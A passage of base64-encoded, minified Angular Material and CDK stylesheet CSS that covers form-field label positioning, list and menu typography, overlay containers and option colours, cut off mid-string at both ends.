m0tZmllbGQtcHJlZml4IC5tYXQtaWNvbi1idXR0b24gLm1hdC1pY29uLC5tYXQtZm9ybS1maWVsZC1zdWZmaXggLm1hdC1pY29uLWJ1dHRvbiAubWF0LWljb257aGVpZ2h0OjEuMTI1ZW07bGluZS1oZWlnaHQ6MS4xMjV9Lm1hdC1mb3JtLWZpZWxkLWluZml4e3BhZGRpbmc6LjVlbSAwO2JvcmRlci10b3A6Ljg0Mzc1ZW0gc29saWQgdHJhbnNwYXJlbnR9Lm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdCAubWF0LWlucHV0LXNlcnZlcjpmb2N1cysubWF0LWZvcm0tZmllbGQtbGFiZWwtd3JhcHBlciAubWF0LWZvcm0tZmllbGQtbGFiZWwsLm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdC5tYXQtZm9ybS1maWVsZC1zaG91bGQtZmxvYXQgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjM0Mzc1ZW0pIHNjYWxlKC43NSk7d2lkdGg6MTMzLjMzMzMzJX0ubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtaW5wdXQtc2VydmVyW2xhYmVsXTpub3QoOmxhYmVsLXNob3duKSsubWF0LWZvcm0tZmllbGQtbGFiZWwtd3JhcHBlciAubWF0LWZvcm0tZmllbGQtbGFiZWx7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTEuMzQzNzRlbSkgc2NhbGUoLjc1KTt3aWR0aDoxMzMuMzMzMzQlfS5tYXQtZm9ybS1maWVsZC1sYWJlbC13cmFwcGVye3RvcDotLjg0Mzc1ZW07cGFkZGluZy10b3A6Ljg0Mzc1ZW19Lm1hdC1mb3JtLWZpZWxkLWxhYmVse3RvcDoxLjM0Mzc1ZW19Lm1hdC1mb3JtLWZpZWxkLXVuZGVybGluZXtib3R0b206MS4zNDM3NWVtfS5tYXQtZm9ybS1maWVsZC1zdWJzY3JpcHQtd3JhcHBlcntmb250LXNpemU6NzUlO21hcmdpbi10b3A6LjY2NjY3ZW07dG9wOmNhbGMoMTAwJSAtIDEuNzkxNjdlbSl9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5IC5tYXQtZm9ybS1maWVsZC13cmFwcGVye3BhZGRpbmctYm90dG9tOjEuMjVlbX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1sZWdhY3kgLm1hdC1mb3JtLWZpZWxkLWluZml4e3BhZGRpbmc6LjQzNzVlbSAwfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWxlZ2FjeS5tYXQtZm9ybS1maWVsZC1jYW4tZmxvYXQgLm1hdC1pbnB1dC1zZXJ2ZXI6Zm9jdXMrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVsLC5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWxlZ2FjeS5tYXQtZm9ybS1maWVsZC1jYW4tZmxvYXQubWF0LWZvcm0tZmllbGQtc2hvdWxkLWZsb2F0IC5tYXQtZm9ybS1maWVsZC1sYWJlbHt0cmFuc2Zvcm06dHJhbnNsYXRlWSgtMS4yODEyNWVtKSBzY2FsZSguNzUpIHBlcnNwZWN0aXZlKDEwMHB4KSB0cmFuc2xhdGVaKC4wMDFweCk7LW1zLXRyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjI4MTI1ZW0pIHNjYWxlKC43NSk7d2lkdGg6MTMzLjMzMzMzJX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1sZWdhY3kubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtZm9ybS1maWVsZC1hdXRvZmlsbC1jb250cm9sOi13ZWJraXQtYXV0b2ZpbGwrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjI4MTI1ZW0pIHNjYWxlKC43NSkgcGVyc3BlY3RpdmUoMTAwcHgpIHRyYW5zbGF0ZVooLjAwMTAxcHgpOy1tcy10cmFuc2Zvcm06dHJhbnNsYXRlWSgtMS4yODEyNGVtKSBzY2FsZSguNzUpO3dpZHRoOjEzMy4zMzMzNCV9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5Lm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdCAubWF0LWlucHV0LXNlcnZlcltsYWJlbF06bm90KDpsYWJlbC1zaG93bikrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjI4MTI1ZW0pIHNjYWxlKC43NSkgcGVyc3BlY3RpdmUoMTAwcHgpIHRyYW5zbGF0ZVooLjAwMTAycHgpOy1tcy10cmFuc2Zvcm06dHJhbnNsYXRlWSgtMS4yODEyM2VtKSBzY2FsZSguNzUpO3dpZHRoOjEzMy4zMzMzNSV9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5IC5tYXQtZm9ybS1maWVsZC1sYWJlbHt0b3A6MS4yODEyNWVtfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWxlZ2FjeSAubWF0LWZvcm0tZmllbGQtdW5kZXJsaW5le2JvdHRvbToxLjI1ZW19Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5IC5tYXQtZm9ybS1maWVsZC1zdWJzY3JpcHQtd3JhcHBlcnttYXJnaW4tdG9wOi41NDE2N2VtO3RvcDpjYWxjKDEwMCUgLSAxLjY2NjY3ZW0pfUBtZWRpYSBwcmludHsubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1sZWdhY3kubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtaW5wdXQtc2VydmVyOmZvY3VzKy5tYXQtZm9ybS1maWVsZC1sYWJlbC13cmFwcGVyIC5tYXQtZm9ybS1maWVsZC1sYWJlbCwubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1sZWdhY3kubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0Lm1hdC1mb3JtLWZpZWxkLXNob3VsZC1mbG9hdCAubWF0LWZvcm0tZmllbGQtbGFiZWx7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLTEuMjgxMjJlbSkgc2NhbGUoLjc1KX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1sZWdhY3kubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtZm9ybS1maWVsZC1hdXRvZmlsbC1jb250cm9sOi13ZWJraXQtYXV0b2ZpbGwrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjI4MTIxZW0pIHNjYWxlKC43NSl9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtbGVnYWN5Lm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdCAubWF0LWlucHV0LXNlcnZlcltsYWJlbF06bm90KDpsYWJlbC1zaG93bikrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjI4MTJlbSkgc2NhbGUoLjc1KX19Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtZmlsbCAubWF0LWZvcm0tZmllbGQtaW5maXh7cGFkZGluZzouMjVlbSAwIC43NWVtIDB9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2UtZmlsbCAubWF0LWZvcm0tZmllbGQtbGFiZWx7dG9wOjEuMDkzNzVlbTttYXJnaW4tdG9wOi0uNWVtfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWZpbGwubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtaW5wdXQtc2VydmVyOmZvY3VzKy5tYXQtZm9ybS1maWVsZC1sYWJlbC13cmFwcGVyIC5tYXQtZm9ybS1maWVsZC1sYWJlbCwubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1maWxsLm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdC5tYXQtZm9ybS1maWVsZC1zaG91bGQtZmxvYXQgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0uNTkzNzVlbSkgc2NhbGUoLjc1KTt3aWR0aDoxMzMuMzMzMzMlfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLWZpbGwubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtaW5wdXQtc2VydmVyW2xhYmVsXTpub3QoOmxhYmVsLXNob3duKSsubWF0LWZvcm0tZmllbGQtbGFiZWwtd3JhcHBlciAubWF0LWZvcm0tZmllbGQtbGFiZWx7dHJhbnNmb3JtOnRyYW5zbGF0ZVkoLS41OTM3NGVtKSBzY2FsZSguNzUpO3dpZHRoOjEzMy4zMzMzNCV9Lm1hdC1mb3JtLWZpZWxkLWFwcGVhcmFuY2Utb3V0bGluZSAubWF0LWZvcm0tZmllbGQtaW5maXh7cGFkZGluZzoxZW0gMCAxZW0gMH0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1vdXRsaW5lIC5tYXQtZm9ybS1maWVsZC1sYWJlbHt0b3A6MS44NDM3NWVtO21hcmdpbi10b3A6LS4yNWVtfS5tYXQtZm9ybS1maWVsZC1hcHBlYXJhbmNlLW91dGxpbmUubWF0LWZvcm0tZmllbGQtY2FuLWZsb2F0IC5tYXQtaW5wdXQtc2VydmVyOmZvY3VzKy5tYXQtZm9ybS1maWVsZC1sYWJlbC13cmFwcGVyIC5tYXQtZm9ybS1maWVsZC1sYWJlbCwubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1vdXRsaW5lLm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdC5tYXQtZm9ybS1maWVsZC1zaG91bGQtZmxvYXQgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjU5Mzc1ZW0pIHNjYWxlKC43NSk7d2lkdGg6MTMzLjMzMzMzJX0ubWF0LWZvcm0tZmllbGQtYXBwZWFyYW5jZS1vdXRsaW5lLm1hdC1mb3JtLWZpZWxkLWNhbi1mbG9hdCAubWF0LWlucHV0LXNlcnZlcltsYWJlbF06bm90KDpsYWJlbC1zaG93bikrLm1hdC1mb3JtLWZpZWxkLWxhYmVsLXdyYXBwZXIgLm1hdC1mb3JtLWZpZWxkLWxhYmVse3RyYW5zZm9ybTp0cmFuc2xhdGVZKC0xLjU5Mzc0ZW0pIHNjYWxlKC43NSk7d2lkdGg6MTMzLjMzMzM0JX0ubWF0LWdyaWQtdGlsZS1mb290ZXIsLm1hdC1ncmlkLXRpbGUtaGVhZGVye2ZvbnQtc2l6ZToxNHB4fS5tYXQtZ3JpZC10aWxlLWZvb3RlciAubWF0LWxpbmUsLm1hdC1ncmlkLXRpbGUtaGVhZGVyIC5tYXQtbGluZXt3aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7ZGlzcGxheTpibG9jaztib3gtc2l6aW5nOmJvcmRlci1ib3h9Lm1hdC1ncmlkLXRpbGUtZm9vdGVyIC5tYXQtbGluZTpudGgtY2hpbGQobisyKSwubWF0LWdyaWQtdGlsZS1oZWFkZXIgLm1hdC1saW5lOm50aC1jaGlsZChuKzIpe2ZvbnQtc2l6ZToxMnB4fWlucHV0Lm1hdC1pbnB1dC1lbGVtZW50e21hcmdpbi10b3A6LS4wNjI1ZW19Lm1hdC1tZW51LWl0ZW17Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O2ZvbnQtd2VpZ2h0OjQwMH0ubWF0LXBhZ2luYXRvciwubWF0LXBhZ2luYXRvci1wYWdlLXNpemUgLm1hdC1zZWxlY3QtdHJpZ2dlcntmb250LWZhbWlseTpSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWY7Zm9udC1zaXplOjEycHh9Lm1hdC1yYWRpby1idXR0b257Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtc2VsZWN0e2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZn0ubWF0LXNlbGVjdC10cmlnZ2Vye2hlaWdodDoxLjEyNWVtfS5tYXQtc2xpZGUtdG9nZ2xlLWNvbnRlbnR7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtc2xpZGVyLXRodW1iLWxhYmVsLXRleHR7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OjUwMH0ubWF0LXN0ZXBwZXItaG9yaXpvbnRhbCwubWF0LXN0ZXBwZXItdmVydGljYWx7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtc3RlcC1sYWJlbHtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo0MDB9Lm1hdC1zdGVwLXN1Yi1sYWJlbC1lcnJvcntmb250LXdlaWdodDo0MDB9Lm1hdC1zdGVwLWxhYmVsLWVycm9ye2ZvbnQtc2l6ZToxNHB4fS5tYXQtc3RlcC1sYWJlbC1zZWxlY3RlZHtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo1MDB9Lm1hdC10YWItZ3JvdXB7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtdGFiLWxhYmVsLC5tYXQtdGFiLWxpbmt7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O2ZvbnQtd2VpZ2h0OjUwMH0ubWF0LXRvb2xiYXIsLm1hdC10b29sYmFyIGgxLC5tYXQtdG9vbGJhciBoMiwubWF0LXRvb2xiYXIgaDMsLm1hdC10b29sYmFyIGg0LC5tYXQtdG9vbGJhciBoNSwubWF0LXRvb2xiYXIgaDZ7Zm9udDo1MDAgMjBweC8zMnB4IFJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZjttYXJnaW46MH0ubWF0LXRvb2x0aXB7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMHB4O3BhZGRpbmctdG9wOjZweDtwYWRkaW5nLWJvdHRvbTo2cHh9Lm1hdC10b29sdGlwLWhhbmRzZXR7Zm9udC1zaXplOjE0cHg7cGFkZGluZy10b3A6OHB4O3BhZGRpbmctYm90dG9tOjhweH0ubWF0LWxpc3QtaXRlbXtmb250LWZhbWlseTpSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWZ9Lm1hdC1saXN0LW9wdGlvbntmb250LWZhbWlseTpSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWZ9Lm1hdC1saXN0LWJhc2UgLm1hdC1saXN0LWl0ZW17Zm9udC1zaXplOjE2cHh9Lm1hdC1saXN0LWJhc2UgLm1hdC1saXN0LWl0ZW0gLm1hdC1saW5le3doaXRlLXNwYWNlOm5vd3JhcDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpcztkaXNwbGF5OmJsb2NrO2JveC1zaXppbmc6Ym9yZGVyLWJveH0ubWF0LWxpc3QtYmFzZSAubWF0LWxpc3QtaXRlbSAubWF0LWxpbmU6bnRoLWNoaWxkKG4rMil7Zm9udC1zaXplOjE0cHh9Lm1hdC1saXN0LWJhc2UgLm1hdC1saXN0LW9wdGlvbntmb250LXNpemU6MTZweH0ubWF0LWxpc3QtYmFzZSAubWF0LWxpc3Qtb3B0aW9uIC5tYXQtbGluZXt3aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7ZGlzcGxheTpibG9jaztib3gtc2l6aW5nOmJvcmRlci1ib3h9Lm1hdC1saXN0LWJhc2UgLm1hdC1saXN0LW9wdGlvbiAubWF0LWxpbmU6bnRoLWNoaWxkKG4rMil7Zm9udC1zaXplOjE0cHh9Lm1hdC1saXN0LWJhc2UgLm1hdC1zdWJoZWFkZXJ7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O2ZvbnQtd2VpZ2h0OjUwMH0ubWF0LWxpc3QtYmFzZVtkZW5zZV0gLm1hdC1saXN0LWl0ZW17Zm9udC1zaXplOjEycHh9Lm1hdC1saXN0LWJhc2VbZGVuc2VdIC5tYXQtbGlzdC1pdGVtIC5tYXQtbGluZXt3aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7ZGlzcGxheTpibG9jaztib3gtc2l6aW5nOmJvcmRlci1ib3h9Lm1hdC1saXN0LWJhc2VbZGVuc2VdIC5tYXQtbGlzdC1pdGVtIC5tYXQtbGluZTpudGgtY2hpbGQobisyKXtmb250LXNpemU6MTJweH0ubWF0LWxpc3QtYmFzZVtkZW5zZV0gLm1hdC1saXN0LW9wdGlvbntmb250LXNpemU6MTJweH0ubWF0LWxpc3QtYmFzZVtkZW5zZV0gLm1hdC1saXN0LW9wdGlvbiAubWF0LWxpbmV7d2hpdGUtc3BhY2U6bm93cmFwO292ZXJmbG93OmhpZGRlbjt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO2Rpc3BsYXk6YmxvY2s7Ym94LXNpemluZzpib3JkZXItYm94fS5tYXQtbGlzdC1iYXNlW2RlbnNlXSAubWF0LWxpc3Qtb3B0aW9uIC5tYXQtbGluZTpudGgtY2hpbGQobisyKXtmb250LXNpemU6MTJweH0ubWF0LWxpc3QtYmFzZVtkZW5zZV0gLm1hdC1zdWJoZWFkZXJ7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OjUwMH0ubWF0LW9wdGlvbntmb250LWZhbWlseTpSb2JvdG8sXCJIZWx2ZXRpY2EgTmV1ZVwiLHNhbnMtc2VyaWY7Zm9udC1zaXplOjE2cHh9Lm1hdC1vcHRncm91cC1sYWJlbHtmb250OjUwMCAxNHB4LzI0cHggUm9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtc2ltcGxlLXNuYWNrYmFye2ZvbnQtZmFtaWx5OlJvYm90byxcIkhlbHZldGljYSBOZXVlXCIsc2Fucy1zZXJpZjtmb250LXNpemU6MTRweH0ubWF0LXNpbXBsZS1zbmFja2Jhci1hY3Rpb257bGluZS1oZWlnaHQ6MTtmb250LWZhbWlseTppbmhlcml0O2ZvbnQtc2l6ZTppbmhlcml0O2ZvbnQtd2VpZ2h0OjUwMH0ubWF0LXRyZWV7Zm9udC1mYW1pbHk6Um9ib3RvLFwiSGVsdmV0aWNhIE5ldWVcIixzYW5zLXNlcmlmfS5tYXQtbmVzdGVkLXRyZWUtbm9kZSwubWF0LXRyZWUtbm9kZXtmb250LXdlaWdodDo0MDA7Zm9udC1zaXplOjE0cHh9Lm1hdC1yaXBwbGV7b3ZlcmZsb3c6aGlkZGVuO3Bvc2l0aW9uOnJlbGF0aXZlfS5tYXQtcmlwcGxlLm1hdC1yaXBwbGUtdW5ib3VuZGVke292ZXJmbG93OnZpc2libGV9Lm1hdC1yaXBwbGUtZWxlbWVudHtwb3NpdGlvbjphYnNvbHV0ZTtib3JkZXItcmFkaXVzOjUwJTtwb2ludGVyLWV2ZW50czpub25lO3RyYW5zaXRpb246b3BhY2l0eSx0cmFuc2Zvcm0gMHMgY3ViaWMtYmV6aWVyKDAsMCwuMiwxKTt0cmFuc2Zvcm06c2NhbGUoMCl9QG1lZGlhICgtbXMtaGlnaC1jb250cmFzdDphY3RpdmUpey5tYXQtcmlwcGxlLWVsZW1lbnR7ZGlzcGxheTpub25lfX0uY2RrLXZpc3VhbGx5LWhpZGRlbntib3JkZXI6MDtjbGlwOnJlY3QoMCAwIDAgMCk7aGVpZ2h0OjFweDttYXJnaW46LTFweDtvdmVyZmxvdzpoaWRkZW47cGFkZGluZzowO3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjFweDtvdXRsaW5lOjA7LXdlYmtpdC1hcHBlYXJhbmNlOm5vbmU7LW1vei1hcHBlYXJhbmNlOm5vbmV9LmNkay1nbG9iYWwtb3ZlcmxheS13cmFwcGVyLC5jZGstb3ZlcmxheS1jb250YWluZXJ7cG9pbnRlci1ldmVudHM6bm9uZTt0b3A6MDtsZWZ0OjA7aGVpZ2h0OjEwMCU7d2lkdGg6MTAwJX0uY2RrLW92ZXJsYXktY29udGFpbmVye3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6MTAwMH0uY2RrLW92ZXJsYXktY29udGFpbmVyOmVtcHR5e2Rpc3BsYXk6bm9uZX0uY2RrLWdsb2JhbC1vdmVybGF5LXdyYXBwZXJ7ZGlzcGxheTpmbGV4O3Bvc2l0aW9uOmFic29sdXRlO3otaW5kZXg6MTAwMH0uY2RrLW92ZXJsYXktcGFuZXtwb3NpdGlvbjphYnNvbHV0ZTtwb2ludGVyLWV2ZW50czphdXRvO2JveC1zaXppbmc6Ym9yZGVyLWJveDt6LWluZGV4OjEwMDA7ZGlzcGxheTpmbGV4O21heC13aWR0aDoxMDAlO21heC1oZWlnaHQ6MTAwJX0uY2RrLW92ZXJsYXktYmFja2Ryb3B7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7Ym90dG9tOjA7bGVmdDowO3JpZ2h0OjA7ei1pbmRleDoxMDAwO3BvaW50ZXItZXZlbnRzOmF1dG87LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOnRyYW5zcGFyZW50O3RyYW5zaXRpb246b3BhY2l0eSAuNHMgY3ViaWMtYmV6aWVyKC4yNSwuOCwuMjUsMSk7b3BhY2l0eTowfS5jZGstb3ZlcmxheS1iYWNrZHJvcC5jZGstb3ZlcmxheS1iYWNrZHJvcC1zaG93aW5ne29wYWNpdHk6MX1AbWVkaWEgc2NyZWVuIGFuZCAoLW1zLWhpZ2gtY29udHJhc3Q6YWN0aXZlKXsuY2RrLW92ZXJsYXktYmFja2Ryb3AuY2RrLW92ZXJsYXktYmFja2Ryb3Atc2hvd2luZ3tvcGFjaXR5Oi42fX0uY2RrLW92ZXJsYXktZGFyay1iYWNrZHJvcHtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjMyKX0uY2RrLW92ZXJsYXktdHJhbnNwYXJlbnQtYmFja2Ryb3AsLmNkay1vdmVybGF5LXRyYW5zcGFyZW50LWJhY2tkcm9wLmNkay1vdmVybGF5LWJhY2tkcm9wLXNob3dpbmd7b3BhY2l0eTowfS5jZGstb3ZlcmxheS1jb25uZWN0ZWQtcG9zaXRpb24tYm91bmRpbmctYm94e3Bvc2l0aW9uOmFic29sdXRlO3otaW5kZXg6MTAwMDtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO21pbi13aWR0aDoxcHg7bWluLWhlaWdodDoxcHh9LmNkay1nbG9iYWwtc2Nyb2xsYmxvY2t7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtvdmVyZmxvdy15OnNjcm9sbH1Aa2V5ZnJhbWVzIGNkay10ZXh0LWZpZWxkLWF1dG9maWxsLXN0YXJ0ey8qISovfUBrZXlmcmFtZXMgY2RrLXRleHQtZmllbGQtYXV0b2ZpbGwtZW5key8qISovfS5jZGstdGV4dC1maWVsZC1hdXRvZmlsbC1tb25pdG9yZWQ6LXdlYmtpdC1hdXRvZmlsbHthbmltYXRpb24tbmFtZTpjZGstdGV4dC1maWVsZC1hdXRvZmlsbC1zdGFydH0uY2RrLXRleHQtZmllbGQtYXV0b2ZpbGwtbW9uaXRvcmVkOm5vdCg6LXdlYmtpdC1hdXRvZmlsbCl7YW5pbWF0aW9uLW5hbWU6Y2RrLXRleHQtZmllbGQtYXV0b2ZpbGwtZW5kfXRleHRhcmVhLmNkay10ZXh0YXJlYS1hdXRvc2l6ZXtyZXNpemU6bm9uZX10ZXh0YXJlYS5jZGstdGV4dGFyZWEtYXV0b3NpemUtbWVhc3VyaW5ne2hlaWdodDphdXRvIWltcG9ydGFudDtvdmVyZmxvdzpoaWRkZW4haW1wb3J0YW50O3BhZGRpbmc6MnB4IDAhaW1wb3J0YW50O2JveC1zaXppbmc6Y29udGVudC1ib3ghaW1wb3J0YW50fS5tYXQtcmlwcGxlLWVsZW1lbnR7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLC4xKX0ubWF0LW9wdGlvbntjb2xvcjpyZ2JhKDAsMCwwLC44Nyl9Lm1hdC1vcHRpb246Zm9jdXM6bm90KC5tYXQtb3B0aW9uLWRpc2FibGVkKSwubWF0LW9wdGlvbjpob3Zlcjpub3QoLm1hdC1vcHRpb24tZGlzYWJsZWQpe2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMDQpfS5tYXQtb3B0aW9uLm1hdC1zZWxlY3RlZDpub3QoLm1hdC1vcHRpb24tbXVsdGlwbGUpOm5vdCgubWF0LW9wdGlvbi1kaXNhYmxlZCl7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC4wNCl9Lm1hdC1vcHRpb24ubWF0LWFjdGl2ZXtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjA0KTtjb2xvcjpyZ2JhKDAsMCwwLC44Nyl9Lm1hdC1vcHRpb24ubWF0LW9wdGlvbi1kaXNhYmxlZHtjb2xvcjpyZ2JhKDAsMCwwLC4zOCl9Lm1hdC1wcmltYXJ5IC5tYXQtb3B0aW9uLm1hdC1zZWxlY3RlZDpub3QoLm1hdC1vcHRpb24tZGlzYWJsZWQpe2NvbG9yOiMzZjUxYjV9Lm1hdC1hY2NlbnQgLm1hdC1vcHRpb24ubWF0LXNlbGVjdGVkOm5vdCgubWF0LW9wdGlvbi1kaXNhYmxlZCl7Y29sb3I6I2ZmNDA4MX0ubWF0LXdhcm4gLm1hdC1vcHRpb24ubWF0LXNlbGVjdGVkOm5vdCgubWF0LW9wdGlvbi1kaXNhYmxlZCl7Y29sb3I6I2Y0NDMzNn0ubWF0LW9wdGdyb3VwLWxhYmVse2NvbG9yOnJnYmEoMCwwLDAsLjU0KX0ubWF0LW9wdGdyb3VwLWRpc2FibGVkIC5tYXQtb3B0Z3JvdXAtbGFiZWx7Y29sb3I6cmdiYSgwLDAsMCwuMzgpfS5tYXQtcHNldWRvLWNoZWNrYm94e2NvbG9yOnJnYmEoMCwwLDAsLjU0KX0ubWF0LXBzZXVkby1jaGVja2JveDo6YWZ0ZXJ7Y29sb3I6I2ZhZmFmYX0ubWF0LXBzZXVkby1jaGVja2JveC1kaXNhYmxlZHtjb2xvcjojYjBiMGIwfS5tYXQtcHJpbWFyeSAubWF0LXBzZXVkby1jaGVja2JveC1jaGVja2VkLC5tYXQtcHJpbWFyeSAubWF0LXBzZXVkby1jaGVja2JveC1pbmRldGVybWluYXRle2JhY2tncm91bmQ6IzNmNTFiNX0ubWF0LWFjY2VudCAubWF0LXBzZXVkby1jaGVja2JveC1jaGVja2VkLC5tYXQtYWNjZW50IC5tYXQtcHNldWRvLWNoZWNrYm94LWluZGV0ZXJtaW5hdGUsLm1hdC1wc2V1ZG8tY2hlY2tib3gtY2hlY2tlZCwubWF0LXBzZXVkby1jaGVja2JveC1pbmRldGVybWluYXRle2JhY2tncm91bmQ6I2ZmNDA4MX0ubWF0LXdhcm4gLm1hdC1wc2V1ZG8tY2hlY2tib3gtY2hlY2tlZCwubWF0LXdhcm4gLm1hdC1wc2V1ZG8tY2hlY2tib3gtaW5kZXRlcm1pbmF0ZXtiYWNrZ3JvdW5kOiNmNDQzMzZ9Lm1hdC1wc2V1ZG8tY2hlY2tib3gtY2hlY2tlZC5tYXQtcHNldWRvLWNoZWNrYm94LWRpc2FibGVkLC5tYXQtcHNldWRvLWNoZWNrYm94LWluZGV0ZXJtaW5hdGUubWF0LXBzZXVkby1jaGVja2JveC1kaXNhYmxlZHtiYWNrZ3JvdW5kOiNiMGIwYjB9Lm1hdC1lbGV2YXRpb24tejB7Ym94LXNoYWRvdzowIDAgMCAwIHJnYmEoMCwwLDAsLjIpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTQpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtZWxldmF0aW9uLXoxe2JveC1zaGFkb3